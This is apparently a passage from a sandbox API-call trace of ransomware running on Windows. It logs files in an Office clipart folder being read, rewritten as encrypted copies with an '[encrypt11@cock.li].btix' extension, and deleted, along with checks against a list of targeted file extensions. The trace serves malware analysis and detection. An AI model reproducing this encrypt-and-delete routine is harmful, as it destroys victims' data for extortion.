lpOverlapped=0x0) returned 1 [0071.352] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x36a0, lpOverlapped=0x0) returned 1 [0071.353] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0071.353] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0071.353] SetEndOfFile (hFile=0x2e0) returned 1 [0071.353] CloseHandle (hObject=0x2e0) returned 1 [0071.353] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.353] SetEndOfFile (hFile=0x318) returned 1 [0071.354] CloseHandle (hObject=0x318) returned 1 [0071.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.354] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 1 [0071.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0071.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0071.355] lstrlenW (lpString=".doc") returned 4 [0071.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.355] lstrlenW (lpString=".docx") returned 5 [0071.355] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.355] lstrlenW (lpString=".pdf") returned 4 [0071.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.355] lstrlenW (lpString=".xls") returned 4 [0071.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.355] lstrlenW (lpString=".xlsx") returned 5 [0071.355] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.355] lstrlenW (lpString=".ppt") returned 4 [0071.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0071.355] lstrlenW (lpString=".zip") returned 4 [0071.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.355] lstrlenW (lpString=".rar") returned 4 [0071.355] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.355] lstrlenW (lpString=".bz2") returned 4 [0071.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.355] lstrlenW (lpString=".7z") returned 3 [0071.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0071.355] lstrlenW (lpString=".dbf") returned 4 [0071.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0071.355] lstrlenW (lpString=".1cd") returned 4 [0071.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0071.355] lstrlenW (lpString=".jpg") returned 4 [0071.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.356] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.356] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0071.356] GetLastError () returned 0x0 [0071.356] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x1378, lpOverlapped=0x0) returned 1 [0071.391] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x1380, lpOverlapped=0x0) returned 1 [0071.391] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0071.392] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0071.392] SetEndOfFile (hFile=0x2e0) returned 1 [0071.392] CloseHandle (hObject=0x2e0) returned 1 [0071.392] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.392] SetEndOfFile (hFile=0x318) returned 1 [0071.393] CloseHandle (hObject=0x318) returned 1 [0071.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 1 [0071.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0071.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0071.393] lstrlenW (lpString=".doc") returned 4 [0071.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.393] lstrlenW (lpString=".docx") returned 5 [0071.393] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.393] lstrlenW (lpString=".pdf") returned 4 [0071.393] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.393] lstrlenW (lpString=".xls") returned 4 [0071.393] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.394] lstrlenW (lpString=".xlsx") returned 5 [0071.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.394] lstrlenW (lpString=".ppt") returned 4 [0071.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0071.394] lstrlenW (lpString=".zip") returned 4 [0071.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.394] lstrlenW (lpString=".rar") returned 4 [0071.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.394] lstrlenW (lpString=".bz2") returned 4 [0071.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.394] lstrlenW (lpString=".7z") returned 3 [0071.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0071.394] lstrlenW (lpString=".dbf") returned 4 [0071.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0071.394] lstrlenW (lpString=".1cd") returned 4 [0071.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0071.394] lstrlenW (lpString=".jpg") returned 4 [0071.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.394] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.394] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0071.395] GetLastError () returned 0x0 [0071.395] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xf7c, lpOverlapped=0x0) returned 1 [0071.400] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xf80, lpOverlapped=0x0) returned 1 [0071.400] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0071.401] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0071.401] SetEndOfFile (hFile=0x2e0) returned 1 [0071.401] CloseHandle (hObject=0x2e0) returned 1 [0071.401] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.401] SetEndOfFile (hFile=0x318) returned 1 [0071.402] CloseHandle (hObject=0x318) returned 1 [0071.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 1 [0071.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0071.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0071.402] lstrlenW (lpString=".doc") returned 4 [0071.402] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.402] lstrlenW (lpString=".docx") returned 5 [0071.403] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.403] lstrlenW (lpString=".pdf") returned 4 [0071.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.403] lstrlenW (lpString=".xls") returned 4 [0071.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.403] lstrlenW (lpString=".xlsx") returned 5 [0071.403] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.403] lstrlenW (lpString=".ppt") returned 4 [0071.403] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0071.403] lstrlenW (lpString=".zip") returned 4 [0071.403] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.403] lstrlenW (lpString=".rar") returned 4 [0071.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.403] lstrlenW (lpString=".bz2") returned 4 [0071.403] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.403] lstrlenW (lpString=".7z") returned 3 [0071.403] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0071.403] lstrlenW (lpString=".dbf") returned 4 [0071.403] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0071.403] lstrlenW (lpString=".1cd") returned 4 [0071.403] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0071.403] lstrlenW (lpString=".jpg") returned 4 [0071.403] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.407] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.407] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0071.408] GetLastError () returned 0x0 [0071.408] ReadFile (in: hFile=0x354, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x91c, lpOverlapped=0x0) returned 1 [0071.423] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x920, lpOverlapped=0x0) returned 1 [0071.424] ReadFile (in: hFile=0x354, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0071.424] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0071.424] SetEndOfFile (hFile=0x308) returned 1 [0071.424] CloseHandle (hObject=0x308) returned 1 [0071.424] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.424] SetEndOfFile (hFile=0x354) returned 1 [0071.431] CloseHandle (hObject=0x354) returned 1 [0071.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.432] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 1 [0071.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0071.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0071.432] lstrlenW (lpString=".doc") returned 4 [0071.432] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.432] lstrlenW (lpString=".docx") returned 5 [0071.432] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.432] lstrlenW (lpString=".pdf") returned 4 [0071.432] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.432] lstrlenW (lpString=".xls") returned 4 [0071.432] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.432] lstrlenW (lpString=".xlsx") returned 5 [0071.432] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.432] lstrlenW (lpString=".ppt") returned 4 [0071.432] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0071.432] lstrlenW (lpString=".zip") returned 4 [0071.432] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.432] lstrlenW (lpString=".rar") returned 4 [0071.432] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.432] lstrlenW (lpString=".bz2") returned 4 [0071.432] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.432] lstrlenW (lpString=".7z") returned 3 [0071.433] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0071.433] lstrlenW (lpString=".dbf") returned 4 [0071.433] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0071.433] lstrlenW (lpString=".1cd") returned 4 [0071.433] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0071.433] lstrlenW (lpString=".jpg") returned 4 [0071.433] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.433] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.433] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0071.433] GetLastError () returned 0x0 [0071.433] ReadFile (in: hFile=0x354, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x4604, lpOverlapped=0x0) returned 1 [0071.484] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x4610, lpOverlapped=0x0) returned 1 [0071.485] ReadFile (in: hFile=0x354, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0071.485] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0071.485] SetEndOfFile (hFile=0x2e0) returned 1 [0071.485] CloseHandle (hObject=0x2e0) returned 1 [0071.486] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.486] SetEndOfFile (hFile=0x354) returned 1 [0071.486] CloseHandle (hObject=0x354) returned 1 [0071.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.487] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 1 [0071.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0071.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0071.487] lstrlenW (lpString=".doc") returned 4 [0071.487] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.487] lstrlenW (lpString=".docx") returned 5 [0071.487] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.487] lstrlenW (lpString=".pdf") returned 4 [0071.487] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.487] lstrlenW (lpString=".xls") returned 4 [0071.487] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.487] lstrlenW (lpString=".xlsx") returned 5 [0071.487] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.487] lstrlenW (lpString=".ppt") returned 4 [0071.487] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0071.487] lstrlenW (lpString=".zip") returned 4 [0071.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.487] lstrlenW (lpString=".rar") returned 4 [0071.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.487] lstrlenW (lpString=".bz2") returned 4 [0071.487] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.488] lstrlenW (lpString=".7z") returned 3 [0071.488] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0071.488] lstrlenW (lpString=".dbf") returned 4 [0071.488] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0071.488] lstrlenW (lpString=".1cd") returned 4 [0071.488] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0071.488] lstrlenW (lpString=".jpg") returned 4 [0071.488] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.488] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.488] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0071.488] GetLastError () returned 0x0 [0071.489] ReadFile (in: hFile=0x354, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x9b8, lpOverlapped=0x0) returned 1 [0071.495] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x9c0, lpOverlapped=0x0) returned 1 [0071.495] ReadFile (in: hFile=0x354, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0071.495] WriteFile (in: hFile=0x2e0, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0071.496] SetEndOfFile (hFile=0x2e0) returned 1 [0071.496] CloseHandle (hObject=0x2e0) returned 1 [0071.496] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0071.496] SetEndOfFile (hFile=0x354) returned 1 [0071.502] CloseHandle (hObject=0x354) returned 1 [0071.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.502] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 1 [0071.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0071.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0071.503] lstrlenW (lpString=".doc") returned 4 [0071.503] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.503] lstrlenW (lpString=".docx") returned 5 [0071.503] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.503] lstrlenW (lpString=".pdf") returned 4 [0071.503] lstrcmpiW 